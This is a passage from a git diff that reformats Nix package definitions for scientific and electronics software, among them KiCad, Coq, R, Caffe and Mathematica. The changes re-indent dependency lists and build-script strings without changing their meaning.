+    "-DCMAKE_CTEST_ARGUMENTS='--exclude-regex;qa_spice'"
+    "-DKICAD_USE_CMAKE_FINDPROTOBUF=OFF"
+  ]
+  ++ optional (
+    stdenv.hostPlatform.system == "aarch64-linux"
+  ) "-DCMAKE_CTEST_ARGUMENTS=--exclude-regex;'qa_spice|qa_cli'"
+  ++ optional (stable && !withNgspice) "-DKICAD_SPICE=OFF"
+  ++ optionals (!withScripting) [
+    "-DKICAD_SCRIPTING_WXPYTHON=OFF"
+  ]
+  ++ optionals (withI18n) [
+    "-DKICAD_BUILD_I18N=ON"
+  ]
+  ++ optionals (!doInstallCheck) [
+    "-DKICAD_BUILD_QA_TESTS=OFF"
+  ]
+  ++ optionals (debug) [
+    "-DKICAD_STDLIB_DEBUG=ON"
+    "-DKICAD_USE_VALGRIND=ON"
+  ]
+  ++ optionals (sanitizeAddress) [
+    "-DKICAD_SANITIZE_ADDRESS=ON"
+  ]
+  ++ optionals (sanitizeThreads) [
+    "-DKICAD_SANITIZE_THREADS=ON"
+  ];
 
   cmakeBuildType = if debug then "Debug" else "Release";
 
-  nativeBuildInputs =
-    [
-      cmake
-      ninja
-      doxygen
-      graphviz
-      pkg-config
-      libgit2
-      libsecret
-      libgcrypt
-      libgpg-error
-    ]
-    # wanted by configuration on linux, doesn't seem to affect performance
-    # no effect on closure size
-    ++ optionals (stdenv.hostPlatform.isLinux) [
-      util-linux
-      libselinux
-      libsepol
-      libthai
-      libdatrie
-      libxkbcommon
-      libepoxy
-      dbus
-      at-spi2-core
-      libXtst
-      pcre2
-    ];
+  nativeBuildInputs = [
+    cmake
+    ninja
+    doxygen
+    graphviz
+    pkg-config
+    libgit2
+    libsecret
+    libgcrypt
+    libgpg-error
+  ]
+  # wanted by configuration on linux, doesn't seem to affect performance
+  # no effect on closure size
+  ++ optionals (stdenv.hostPlatform.isLinux) [
+    util-linux
+    libselinux
+    libsepol
+    libthai
+    libdatrie
+    libxkbcommon
+    libepoxy
+    dbus
+    at-spi2-core
+    libXtst
+    pcre2
+  ];
 
-  buildInputs =
-    [
-      libGLU
-      libGL
-      zlib
-      libX11
-      wxGTK
-      gtk3
-      pcre
-      libXdmcp
-      gettext
-      glew
-      glm
-      libpthreadstubs
-      cairo
-      curl
-      openssl
-      boost
-      swig
-      python
-      unixODBC
-      libdeflate
-      opencascade-occt
-      protobuf_29
+  buildInputs = [
+    libGLU
+    libGL
+    zlib
+    libX11
+    wxGTK
+    gtk3
+    pcre
+    libXdmcp
+    gettext
+    glew
+    glm
+    libpthreadstubs
+    cairo
+    curl
+    openssl
+    boost
+    swig
+    python
+    unixODBC
+    libdeflate
+    opencascade-occt
+    protobuf_29
 
-      # This would otherwise cause a linking requirement for mbedtls.
-      (nng.override { mbedtlsSupport = false; })
-    ]
-    ++ optional (withScripting) wxPython
-    ++ optional (withNgspice) libngspice
-    ++ optional (debug) valgrind;
+    # This would otherwise cause a linking requirement for mbedtls.
+    (nng.override { mbedtlsSupport = false; })
+  ]
+  ++ optional (withScripting) wxPython
+  ++ optional (withNgspice) libngspice
+  ++ optional (debug) valgrind;
 
   # some ngspice tests attempt to write to $HOME/.cache/
   # this could be and was resolved with XDG_CACHE_HOME = "$TMP";
diff --git a/pkgs/applications/science/electronics/kicad/libraries.nix b/pkgs/applications/science/electronics/kicad/libraries.nix
index 2073b2bd7c16..c01363dfddaa 100644
--- a/pkgs/applications/science/electronics/kicad/libraries.nix
+++ b/pkgs/applications/science/electronics/kicad/libraries.nix
@@ -16,13 +16,14 @@ let
 
       src = libSrc name;
 
-      nativeBuildInputs =
-        [ cmake ]
-        ++ lib.optionals (name == "packages3d") [
-          stepreduce
-          parallel
-          zip
-        ];
+      nativeBuildInputs = [
+        cmake
+      ]
+      ++ lib.optionals (name == "packages3d") [
+        stepreduce
+        parallel
+        zip
+      ];
 
       postInstall = lib.optional (name == "packages3d") ''
         find $out -type f -name '*.step' | parallel 'stepreduce {} {} && zip -9 {.}.stpZ {} && rm {}'
diff --git a/pkgs/applications/science/electronics/openems/default.nix b/pkgs/applications/science/electronics/openems/default.nix
index f251bd34c54b..60b11e03d70c 100644
--- a/pkgs/applications/science/electronics/openems/default.nix
+++ b/pkgs/applications/science/electronics/openems/default.nix
@@ -36,20 +36,19 @@ stdenv.mkDerivation rec {
 
   cmakeFlags = lib.optionals withMPI [ "-DWITH_MPI=ON" ];
 
-  buildInputs =
-    [
-      fparser
-      tinyxml
-      hdf5
-      vtk
-      boost
-      zlib
-      csxcad
-      (octave.override { inherit hdf5; })
-    ]
-    ++ lib.optionals withQcsxcad [ qcsxcad ]
-    ++ lib.optionals withMPI [ mpi ]
-    ++ lib.optionals withHyp2mat [ hyp2mat ];
+  buildInputs = [
+    fparser
+    tinyxml
+    hdf5
+    vtk
+    boost
+    zlib
+    csxcad
+    (octave.override { inherit hdf5; })
+  ]
+  ++ lib.optionals withQcsxcad [ qcsxcad ]
+  ++ lib.optionals withMPI [ mpi ]
+  ++ lib.optionals withHyp2mat [ hyp2mat ];
 
   postFixup = ''
     substituteInPlace $out/share/openEMS/matlab/setup.m \
diff --git a/pkgs/applications/science/electronics/pulseview/default.nix b/pkgs/applications/science/electronics/pulseview/default.nix
index 6bbcc4f54fa5..ff66e511ce21 100644
--- a/pkgs/applications/science/electronics/pulseview/default.nix
+++ b/pkgs/applications/science/electronics/pulseview/default.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation {
     pkg-config
     qttools
     wrapQtAppsHook
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin desktopToDarwinBundle;
 
   buildInputs = [
     glib
@@ -52,7 +53,8 @@ stdenv.mkDerivation {
     pcre
     python3
     qtsvg
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ bluez ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ bluez ];
 
   meta = with lib; {
     description = "Qt-based LA/scope/MSO GUI for sigrok (a signal analysis software suite)";
diff --git a/pkgs/applications/science/electronics/qucs-s/default.nix b/pkgs/applications/science/electronics/qucs-s/default.nix
index 8ced7004f1a2..0b3d5b738b9f 100644
--- a/pkgs/applications/science/electronics/qucs-s/default.nix
+++ b/pkgs/applications/science/electronics/qucs-s/default.nix
@@ -58,20 +58,19 @@ stdenv.mkDerivation rec {
     wrapQtAppsHook
     cmake
   ];
-  buildInputs =
-    [
-      qtbase
-      qttools
-      qtcharts
-      qtsvg
-      gperf
-      adms
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qtwayland
-      libX11
-    ]
-    ++ kernels;
+  buildInputs = [
+    qtbase
+    qttools
+    qtcharts
+    qtsvg
+    gperf
+    adms
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qtwayland
+    libX11
+  ]
+  ++ kernels;
 
   cmakeFlags = [
     "-DWITH_QT6=ON"
diff --git a/pkgs/applications/science/logic/abella/default.nix b/pkgs/applications/science/logic/abella/default.nix
index 62da3a42e067..b8557f9e7bf3 100644
--- a/pkgs/applications/science/logic/abella/default.nix
+++ b/pkgs/applications/science/logic/abella/default.nix
@@ -17,14 +17,15 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [ rsync ]
-    ++ (with ocamlPackages; [
-      ocaml
-      dune_3
-      menhir
-      findlib
-    ]);
+  nativeBuildInputs = [
+    rsync
+  ]
+  ++ (with ocamlPackages; [
+    ocaml
+    dune_3
+    menhir
+    findlib
+  ]);
   buildInputs = with ocamlPackages; [
     cmdliner
     yojson
diff --git a/pkgs/applications/science/logic/coq/default.nix b/pkgs/applications/science/logic/coq/default.nix
index 23343942e2f2..f214997578c1 100644
--- a/pkgs/applications/science/logic/coq/default.nix
+++ b/pkgs/applications/science/logic/coq/default.nix
@@ -138,7 +138,8 @@ let
   ocamlNativeBuildInputs = [
     ocamlPackages.ocaml
     ocamlPackages.findlib
-  ] ++ lib.optional (coqAtLeast "8.14") ocamlPackages.dune_3;
+  ]
+  ++ lib.optional (coqAtLeast "8.14") ocamlPackages.dune_3;
   ocamlPropagatedBuildInputs =
     [ ]
     ++ lib.optional (!coqAtLeast "8.10") ocamlPackages.camlp5
@@ -208,24 +209,26 @@ let
       '';
     };
 
-    nativeBuildInputs =
-      [ pkg-config ]
-      ++ ocamlNativeBuildInputs
-      ++ lib.optional buildIde copyDesktopItems
-      ++ lib.optional (buildIde && coqAtLeast "8.10") wrapGAppsHook3
-      ++ lib.optional (!coqAtLeast "8.6") gnumake42;
-    buildInputs =
-      [ ncurses ]
-      ++ lib.optionals buildIde (
-        if coqAtLeast "8.10" then
-          [
-            ocamlPackages.lablgtk3-sourceview3
-            glib
-            adwaita-icon-theme
-          ]
-        else
-          [ ocamlPackages.lablgtk ]
-      );
+    nativeBuildInputs = [
+      pkg-config
+    ]
+    ++ ocamlNativeBuildInputs
+    ++ lib.optional buildIde copyDesktopItems
+    ++ lib.optional (buildIde && coqAtLeast "8.10") wrapGAppsHook3
+    ++ lib.optional (!coqAtLeast "8.6") gnumake42;
+    buildInputs = [
+      ncurses
+    ]
+    ++ lib.optionals buildIde (
+      if coqAtLeast "8.10" then
+        [
+          ocamlPackages.lablgtk3-sourceview3
+          glib
+          adwaita-icon-theme
+        ]
+      else
+        [ ocamlPackages.lablgtk ]
+    );
 
     propagatedBuildInputs = ocamlPropagatedBuildInputs;
 
@@ -263,13 +266,12 @@ let
 
     prefixKey = "-prefix ";
 
-    buildFlags =
-      [
-        "revision"
-        "coq"
-      ]
-      ++ lib.optional buildIde "coqide"
-      ++ lib.optional (!coqAtLeast "8.14") "bin/votour";
+    buildFlags = [
+      "revision"
+      "coq"
+    ]
+    ++ lib.optional buildIde "coqide"
+    ++ lib.optional (!coqAtLeast "8.14") "bin/votour";
     enableParallelBuilding = true;
 
     createFindlibDestdir = true;
diff --git a/pkgs/applications/science/logic/cubicle/default.nix b/pkgs/applications/science/logic/cubicle/default.nix
index 1aef01858dbc..60c0e82ca4de 100644
--- a/pkgs/applications/science/logic/cubicle/default.nix
+++ b/pkgs/applications/science/logic/cubicle/default.nix
@@ -17,15 +17,14 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      which
-    ]
-    ++ (with ocamlPackages; [
-      findlib
-      ocaml
-    ]);
+  nativeBuildInputs = [
+    autoreconfHook
+    which
+  ]
+  ++ (with ocamlPackages; [
+    findlib
+    ocaml
+  ]);
 
   buildInputs = with ocamlPackages; [
     functory
diff --git a/pkgs/applications/science/logic/eprover/default.nix b/pkgs/applications/science/logic/eprover/default.nix
index d8685390bc1d..e9153ef2ddae 100644
--- a/pkgs/applications/science/logic/eprover/default.nix
+++ b/pkgs/applications/science/logic/eprover/default.nix
@@ -21,14 +21,13 @@ stdenv.mkDerivation (finalAttrs: {
     sed -e 's/ *CC *= *gcc$//' -i Makefile.vars
   '';
 
-  configureFlags =
-    [
-      "--exec-prefix=$(out)"
-      "--man-prefix=$(out)/share/man"
-    ]
-    ++ lib.optionals enableHO [
-      "--enable-ho"
-    ];
+  configureFlags = [
+    "--exec-prefix=$(out)"
+    "--man-prefix=$(out)/share/man"
+  ]
+  ++ lib.optionals enableHO [
+    "--enable-ho"
+  ];
 
   meta = {
     description = "Automated theorem prover for full first-order logic with equality";
diff --git a/pkgs/applications/science/logic/prooftree/default.nix b/pkgs/applications/science/logic/prooftree/default.nix
index 5f09e6d23d20..1ba82e1e05d1 100644
--- a/pkgs/applications/science/logic/prooftree/default.nix
+++ b/pkgs/applications/science/logic/prooftree/default.nix
@@ -18,13 +18,14 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [ pkg-config ]
-    ++ (with ocamlPackages; [
-      ocaml
-      findlib
-      camlp5
-    ]);
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ (with ocamlPackages; [
+    ocaml
+    findlib
+    camlp5
+  ]);
   buildInputs = [ ncurses ] ++ (with ocamlPackages; [ lablgtk ]);
 
   prefixKey = "--prefix ";
diff --git a/pkgs/applications/science/logic/tamarin-prover/default.nix b/pkgs/applications/science/logic/tamarin-prover/default.nix
index 4c6c20fe80c8..c03d1825e152 100644
--- a/pkgs/applications/science/logic/tamarin-prover/default.nix
+++ b/pkgs/applications/science/logic/tamarin-prover/default.nix
@@ -159,29 +159,28 @@ mkDerivation (
       maude
       graphviz
     ];
-    postInstall =
-      ''
-        wrapProgram $out/bin/tamarin-prover \
-      ''
-      + lib.optionalString stdenv.hostPlatform.isLinux ''
-        --set LOCALE_ARCHIVE "${glibcLocales}/lib/locale/locale-archive" \
-      ''
-      + ''
-          --prefix PATH : ${
-            lib.makeBinPath [
-              which
-              maude
-              graphviz
-            ]
-          }
-        # so that the package can be used as a vim plugin to install syntax coloration
-        install -Dt $out/share/vim-plugins/tamarin-prover/syntax/ etc/syntax/spthy.vim
-        install etc/filetype.vim -D $out/share/vim-plugins/tamarin-prover/ftdetect/tamarin.vim
-        mkdir -p $out/share/nvim
-        ln -s $out/share/vim-plugins/tamarin-prover $out/share/nvim/site
-        # Emacs SPTHY major mode
-        install -Dt $out/share/emacs/site-lisp etc/spthy-mode.el
-      '';
+    postInstall = ''
+      wrapProgram $out/bin/tamarin-prover \
+    ''
+    + lib.optionalString stdenv.hostPlatform.isLinux ''
+      --set LOCALE_ARCHIVE "${glibcLocales}/lib/locale/locale-archive" \
+    ''
+    + ''
+        --prefix PATH : ${
+          lib.makeBinPath [
+            which
+            maude
+            graphviz
+          ]
+        }
+      # so that the package can be used as a vim plugin to install syntax coloration
+      install -Dt $out/share/vim-plugins/tamarin-prover/syntax/ etc/syntax/spthy.vim
+      install etc/filetype.vim -D $out/share/vim-plugins/tamarin-prover/ftdetect/tamarin.vim
+      mkdir -p $out/share/nvim
+      ln -s $out/share/vim-plugins/tamarin-prover $out/share/nvim/site
+      # Emacs SPTHY major mode
+      install -Dt $out/share/emacs/site-lisp etc/spthy-mode.el
+    '';
 
     checkPhase = "./dist/build/tamarin-prover/tamarin-prover test";
 
diff --git a/pkgs/applications/science/machine-learning/shogun/default.nix b/pkgs/applications/science/machine-learning/shogun/default.nix
index fd990735e6be..b7861cddfffc 100644
--- a/pkgs/applications/science/machine-learning/shogun/default.nix
+++ b/pkgs/applications/science/machine-learning/shogun/default.nix
@@ -111,48 +111,47 @@ stdenv.mkDerivation (finalAttrs: {
     # Fix compile errors with Eigen 3.4
     ./eigen-3.4.patch
 
-  ] ++ lib.optional (!withSvmLight) ./svmlight-scrubber.patch;
+  ]
+  ++ lib.optional (!withSvmLight) ./svmlight-scrubber.patch;
 
-  nativeBuildInputs =
+  nativeBuildInputs = [
+    cmake
+    swig
+    ctags
+  ]
+  ++ (with python3Packages; [
+    python
+    jinja2
+    ply
+  ]);
+
+  buildInputs = [
+    eigen
+    blas
+    lapack
+    glpk
+    protobuf
+    json_c
+    libxml2
+    hdf5
+    curl
+    libarchive
+    bzip2
+    xz
+    snappy
+    lzo
+    nlopt
+    lp_solve
+    colpack
+  ]
+  ++ lib.optionals pythonSupport (
+    with python3Packages;
     [
-      cmake
-      swig
-      ctags
-    ]
-    ++ (with python3Packages; [
       python
-      jinja2
-      ply
-    ]);
-
-  buildInputs =
-    [
-      eigen
-      blas
-      lapack
-      glpk
-      protobuf
-      json_c
-      libxml2
-      hdf5
-      curl
-      libarchive
-      bzip2
-      xz
-      snappy
-      lzo
-      nlopt
-      lp_solve
-      colpack
+      numpy
     ]
-    ++ lib.optionals pythonSupport (
-      with python3Packages;
-      [
-        python
-        numpy
-      ]
-    )
-    ++ lib.optional opencvSupport opencv;
+  )
+  ++ lib.optional opencvSupport opencv;
 
   cmakeFlags =
     let
@@ -202,23 +201,22 @@ stdenv.mkDerivation (finalAttrs: {
     ln -s ${srcs.gtest} $sourceRoot/third_party/GoogleMock/release-${gtestVersion}.tar.gz
   '';
 
-  postPatch =
-    ''
-      # Fix preprocessing SVMlight code
-      sed -i \
-          -e 's@#ifdef SVMLIGHT@#ifdef USE_SVMLIGHT@' \
-          -e '/^#ifdef USE_SVMLIGHT/,/^#endif/ s@#endif@#endif //USE_SVMLIGHT@' \
-          src/shogun/kernel/string/CommUlongStringKernel.cpp
-      sed -i -e 's/#if USE_SVMLIGHT/#ifdef USE_SVMLIGHT/' src/interfaces/swig/Machine.i
-      sed -i -e 's@// USE_SVMLIGHT@//USE_SVMLIGHT@' src/interfaces/swig/Transfer.i
-      sed -i -e 's@/\* USE_SVMLIGHT \*/@//USE_SVMLIGHT@' src/interfaces/swig/Transfer_includes.i
-    ''
-    + lib.optionalString (!withSvmLight) ''
-      # Run SVMlight scrubber
-      patchShebangs scripts/light-scrubber.sh
-      echo "removing SVMlight code"
-      ./scripts/light-scrubber.sh
-    '';
+  postPatch = ''
+    # Fix preprocessing SVMlight code
+    sed -i \
+        -e 's@#ifdef SVMLIGHT@#ifdef USE_SVMLIGHT@' \
+        -e '/^#ifdef USE_SVMLIGHT/,/^#endif/ s@#endif@#endif //USE_SVMLIGHT@' \
+        src/shogun/kernel/string/CommUlongStringKernel.cpp
+    sed -i -e 's/#if USE_SVMLIGHT/#ifdef USE_SVMLIGHT/' src/interfaces/swig/Machine.i
+    sed -i -e 's@// USE_SVMLIGHT@//USE_SVMLIGHT@' src/interfaces/swig/Transfer.i
+    sed -i -e 's@/\* USE_SVMLIGHT \*/@//USE_SVMLIGHT@' src/interfaces/swig/Transfer_includes.i
+  ''
+  + lib.optionalString (!withSvmLight) ''
+    # Run SVMlight scrubber
+    patchShebangs scripts/light-scrubber.sh
+    echo "removing SVMlight code"
+    ./scripts/light-scrubber.sh
+  '';
 
   postInstall = ''
     mkdir -p $doc/share/doc/shogun/examples
diff --git a/pkgs/applications/science/math/R/default.nix b/pkgs/applications/science/math/R/default.nix
index 027a8b202582..f5b36501de78 100644
--- a/pkgs/applications/science/math/R/default.nix
+++ b/pkgs/applications/science/math/R/default.nix
@@ -130,46 +130,45 @@ stdenv.mkDerivation (finalAttrs: {
 
   dontDisableStatic = static;
 
-  preConfigure =
-    ''
-      configureFlagsArray=(
-        --disable-lto
-        --with${lib.optionalString (!withRecommendedPackages) "out"}-recommended-packages
-        --with-blas="-L${blas}/lib -lblas"
-        --with-lapack="-L${lapack}/lib -llapack"
-        --with-readline
-        --with-tcltk --with-tcl-config="${tcl}/lib/tclConfig.sh" --with-tk-config="${tk}/lib/tkConfig.sh"
-        --with-cairo
-        --with-libpng
-        --with-jpeglib
-        --with-libtiff
-        --with-ICU
-        ${lib.optionalString enableStrictBarrier "--enable-strict-barrier"}
-        ${lib.optionalString enableMemoryProfiling "--enable-memory-profiling"}
-        ${if static then "--enable-R-static-lib" else "--enable-R-shlib"}
-        AR=$(type -p ar)
-        AWK=$(type -p gawk)
-        CC=$(type -p cc)
-        CXX=$(type -p c++)
-        FC="${gfortran}/bin/gfortran" F77="${gfortran}/bin/gfortran"
-        JAVA_HOME="${jdk}"
-        RANLIB=$(type -p ranlib)
-        CURL_CONFIG="${lib.getExe' (lib.getDev curl) "curl-config"}"
-        r_cv_have_curl728=yes
-        R_SHELL="${stdenv.shell}"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      --disable-R-framework
-      --without-x
-      OBJC="clang"
-      CPPFLAGS="-isystem ${lib.getInclude stdenv.cc.libcxx}/include/c++/v1"
-      LDFLAGS="-L${lib.getLib stdenv.cc.libcxx}/lib"
-    ''
-    + ''
-      )
-      echo >>etc/Renviron.in "TCLLIBPATH=${tk}/lib"
-      echo >>etc/Renviron.in "TZDIR=${tzdata}/share/zoneinfo"
-    '';
+  preConfigure = ''
+    configureFlagsArray=(
+      --disable-lto
+      --with${lib.optionalString (!withRecommendedPackages) "out"}-recommended-packages
+      --with-blas="-L${blas}/lib -lblas"
+      --with-lapack="-L${lapack}/lib -llapack"
+      --with-readline
+      --with-tcltk --with-tcl-config="${tcl}/lib/tclConfig.sh" --with-tk-config="${tk}/lib/tkConfig.sh"
+      --with-cairo
+      --with-libpng
+      --with-jpeglib
+      --with-libtiff
+      --with-ICU
+      ${lib.optionalString enableStrictBarrier "--enable-strict-barrier"}
+      ${lib.optionalString enableMemoryProfiling "--enable-memory-profiling"}
+      ${if static then "--enable-R-static-lib" else "--enable-R-shlib"}
+      AR=$(type -p ar)
+      AWK=$(type -p gawk)
+      CC=$(type -p cc)
+      CXX=$(type -p c++)
+      FC="${gfortran}/bin/gfortran" F77="${gfortran}/bin/gfortran"
+      JAVA_HOME="${jdk}"
+      RANLIB=$(type -p ranlib)
+      CURL_CONFIG="${lib.getExe' (lib.getDev curl) "curl-config"}"
+      r_cv_have_curl728=yes
+      R_SHELL="${stdenv.shell}"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    --disable-R-framework
+    --without-x
+    OBJC="clang"
+    CPPFLAGS="-isystem ${lib.getInclude stdenv.cc.libcxx}/include/c++/v1"
+    LDFLAGS="-L${lib.getLib stdenv.cc.libcxx}/lib"
+  ''
+  + ''
+    )
+    echo >>etc/Renviron.in "TCLLIBPATH=${tk}/lib"
+    echo >>etc/Renviron.in "TZDIR=${tzdata}/share/zoneinfo"
+  '';
 
   installTargets = [
     "install"
diff --git a/pkgs/applications/science/math/caffe/default.nix b/pkgs/applications/science/math/caffe/default.nix
index 6592e9e3b81c..a022fcd8e1dd 100644
--- a/pkgs/applications/science/math/caffe/default.nix
+++ b/pkgs/applications/science/math/caffe/default.nix
@@ -60,25 +60,24 @@ stdenv.mkDerivation rec {
     ++ [ "-DUSE_LEVELDB=${toggle leveldbSupport}" ]
     ++ [ "-DUSE_LMDB=${toggle lmdbSupport}" ];
 
-  buildInputs =
-    [
-      boost
-      gflags
-      glog
-      protobuf
-      hdf5-cpp
-      opencv4
-      blas
-    ]
-    ++ lib.optional lmdbSupport lmdb
-    ++ lib.optionals leveldbSupport [
-      leveldb
-      snappy
-    ]
-    ++ lib.optionals pythonSupport [
-      python
-      numpy
-    ];
+  buildInputs = [
+    boost
+    gflags
+    glog
+    protobuf
+    hdf5-cpp
+    opencv4
+    blas
+  ]
+  ++ lib.optional lmdbSupport lmdb
+  ++ lib.optionals leveldbSupport [
+    leveldb
+    snappy
+  ]
+  ++ lib.optionals pythonSupport [
+    python
+    numpy
+  ];
 
   propagatedBuildInputs = lib.optionals pythonSupport (
     # requirements.txt
@@ -112,22 +111,21 @@ stdenv.mkDerivation rec {
   ];
   propagatedBuildOutputs = [ ]; # otherwise propagates out -> bin cycle
 
-  patches =
-    [
-      ./darwin.patch
-      ./glog-cmake.patch
-      ./random-shuffle.patch
-      (fetchpatch {
-        name = "support-opencv4";
-        url = "https://github.com/BVLC/caffe/pull/6638/commits/0a04cc2ccd37ba36843c18fea2d5cbae6e7dd2b5.patch";
-        hash = "sha256-ZegTvp0tTHlopQv+UzHDigs6XLkP2VfqLCWXl6aKJSI=";
-      })
-    ]
-    ++ lib.optional pythonSupport (
-      replaceVars ./python.patch {
-        inherit (python.sourceVersion) major minor; # Should be changed in case of PyPy
-      }
-    );
+  patches = [
+    ./darwin.patch
+    ./glog-cmake.patch
+    ./random-shuffle.patch
+    (fetchpatch {
+      name = "support-opencv4";
+      url = "https://github.com/BVLC/caffe/pull/6638/commits/0a04cc2ccd37ba36843c18fea2d5cbae6e7dd2b5.patch";
+      hash = "sha256-ZegTvp0tTHlopQv+UzHDigs6XLkP2VfqLCWXl6aKJSI=";
+    })
+  ]
+  ++ lib.optional pythonSupport (
+    replaceVars ./python.patch {
+      inherit (python.sourceVersion) major minor; # Should be changed in case of PyPy
+    }
+  );
 
   postPatch = ''
     substituteInPlace src/caffe/util/io.cpp --replace \
@@ -140,21 +138,20 @@ stdenv.mkDerivation rec {
     export BOOST_LIBRARYDIR="${boost.out}/lib";
   '';
 
-  postInstall =
-    ''
-      # Internal static library.
-      rm $out/lib/libproto.a
+  postInstall = ''
+    # Internal static library.
+    rm $out/lib/libproto.a
 
-      # Install models
-      cp -a ../models $out/share/Caffe/models
+    # Install models
+    cp -a ../models $out/share/Caffe/models
 
-      moveToOutput "bin" "$bin"
-    ''
-    + lib.optionalString pythonSupport ''
-      mkdir -p $out/${python.sitePackages}
-      mv $out/python/caffe $out/${python.sitePackages}
-      rm -rf $out/python
-    '';
+    moveToOutput "bin" "$bin"
+  ''
+  + lib.optionalString pythonSupport ''
+    mkdir -p $out/${python.sitePackages}
+    mv $out/python/caffe $out/${python.sitePackages}
+    rm -rf $out/python
+  '';
 
   doInstallCheck = false; # build takes more than 30 min otherwise
   installCheckPhase = ''
diff --git a/pkgs/applications/science/math/glsurf/default.nix b/pkgs/applications/science/math/glsurf/default.nix
index f2cb98c5963f..88c278dfd627 100644
--- a/pkgs/applications/science/math/glsurf/default.nix
+++ b/pkgs/applications/science/math/glsurf/default.nix
@@ -25,29 +25,27 @@ stdenv.mkDerivation rec {
     sha256 = "0w8xxfnw2snflz8wdr2ca9f5g91w5vbyp1hwlx1v7vg83d4bwqs7";
   };
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-    ]
-    ++ (with ocamlPackages; [
-      ocaml
-      findlib
-    ]);
+  nativeBuildInputs = [
+    makeWrapper
+  ]
+  ++ (with ocamlPackages; [
+    ocaml
+    findlib
+  ]);
 
-  buildInputs =
-    [
-      libglut
-      libGL
-      libGLU
-      mpfr
-      gmp
-    ]
-    ++ (with ocamlPackages; [
-      camlp4
-      lablgl
-      camlimages
-      num
-    ]);
+  buildInputs = [
+    libglut
+    libGL
+    libGLU
+    mpfr
+    gmp
+  ]
+  ++ (with ocamlPackages; [
+    camlp4
+    lablgl
+    camlimages
+    num
+  ]);
 
   postPatch = ''
     for f in callbacks*/Makefile; do
diff --git a/pkgs/applications/science/math/lp_solve/default.nix b/pkgs/applications/science/math/lp_solve/default.nix
index 63722349629d..28dc05c2fc14 100644
--- a/pkgs/applications/science/math/lp_solve/default.nix
+++ b/pkgs/applications/science/math/lp_solve/default.nix
@@ -25,13 +25,12 @@ stdenv.mkDerivation rec {
       autoSignDarwinBinariesHook
     ];
 
-  env =
-    {
-      NIX_CFLAGS_COMPILE = "-Wno-error=implicit-int";
-    }
-    // lib.optionalAttrs (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) {
-      NIX_LDFLAGS = "-headerpad_max_install_names";
-    };
+  env = {
+    NIX_CFLAGS_COMPILE = "-Wno-error=implicit-int";
+  }
+  // lib.optionalAttrs (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) {
+    NIX_LDFLAGS = "-headerpad_max_install_names";
+  };
 
   dontConfigure = true;
 
diff --git a/pkgs/applications/science/math/mathematica/generic.nix b/pkgs/applications/science/math/mathematica/generic.nix
index 2efd952995bd..d12763cae73e 100644
--- a/pkgs/applications/science/math/mathematica/generic.nix
+++ b/pkgs/applications/science/math/mathematica/generic.nix
@@ -82,83 +82,82 @@ stdenv.mkDerivation {
   nativeBuildInputs = [
     autoPatchelfHook
     makeWrapper
-  ] ++ lib.optional cudaSupport addDriverRunpath;
+  ]
+  ++ lib.optional cudaSupport addDriverRunpath;
 
-  buildInputs =
-    [
-      alsa-lib
-      cups.lib
-      dbus
-      flite
-      fontconfig
-      freetype
-      glib
-      gmpxx
-      keyutils.lib
-      libGL
-      libGLU
-      libpcap
-      libtins
-      libuuid
-      libxkbcommon
-      libxml2
-      llvmPackages_13.libllvm.lib
-      matio
-      mpfr
-      ncurses
-      opencv4
-      openjdk11
-      openssl
-      pciutils
-      tre
-      unixODBC
-      xcbutilimage
-      xcbutilkeysyms
-      xkeyboard_config
-    ]
-    ++ (with xorg; [
-      libICE
-      libSM
-      libX11
-      libXScrnSaver
-      libXcomposite
-      libXcursor
-      libXdamage
-      libXext
-      libXfixes
-      libXi
-      libXinerama
-      libXmu
-      libXrandr
-      libXrender
-      libXtst
-      libxcb
-    ])
-    ++ lib.optional cudaSupport cudaEnv;
+  buildInputs = [
+    alsa-lib
+    cups.lib
+    dbus
+    flite
+    fontconfig
+    freetype
+    glib
+    gmpxx
+    keyutils.lib
+    libGL
+    libGLU
+    libpcap
+    libtins
+    libuuid
+    libxkbcommon
+    libxml2
+    llvmPackages_13.libllvm.lib
+    matio
+    mpfr
+    ncurses
+    opencv4
+    openjdk11
+    openssl
+    pciutils
+    tre
+    unixODBC
+    xcbutilimage
+    xcbutilkeysyms
+    xkeyboard_config
+  ]
+  ++ (with xorg; [
+    libICE
+    libSM
+    libX11
+    libXScrnSaver
+    libXcomposite
+    libXcursor
+    libXdamage
+    libXext
+    libXfixes
+    libXi
+    libXinerama
+    libXmu
+    libXrandr
+    libXrender
+    libXtst
+    libxcb
+  ])
+  ++ lib.optional cudaSupport cudaEnv;
 
-  wrapProgramFlags =
-    [
-      "--prefix LD_LIBRARY_PATH : ${
-        lib.makeLibraryPath [
-          dbus
-          gcc-unwrapped.lib
-          zlib
-        ]
-      }"
-      "--prefix PATH : ${lib.makeBinPath [ stdenv.cc ]}"
-      # Fix libQt errors - #96490
-      "--set USE_WOLFRAM_LD_LIBRARY_PATH 1"
-      # Fix xkeyboard config path for Qt
-      "--set QT_XKB_CONFIG_ROOT ${xkeyboard_config}/share/X11/xkb"
-      # if wayland isn't supported we fail over to xcb
-      # see https://github.com/qt/qtbase/blob/35d0f012ee9b95e8cf3563a41d710ff3c023d841/src/gui/kernel/qguiapplication.cpp#L1218
-      "--set QT_QPA_PLATFORM wayland;xcb"
-    ]
-    ++ lib.optionals cudaSupport [
-      "--set CUDA_PATH ${cudaEnv}"
-      "--set NVIDIA_DRIVER_LIBRARY_PATH ${addDriverRunpath.driverLink}/lib/libnvidia-tls.so"
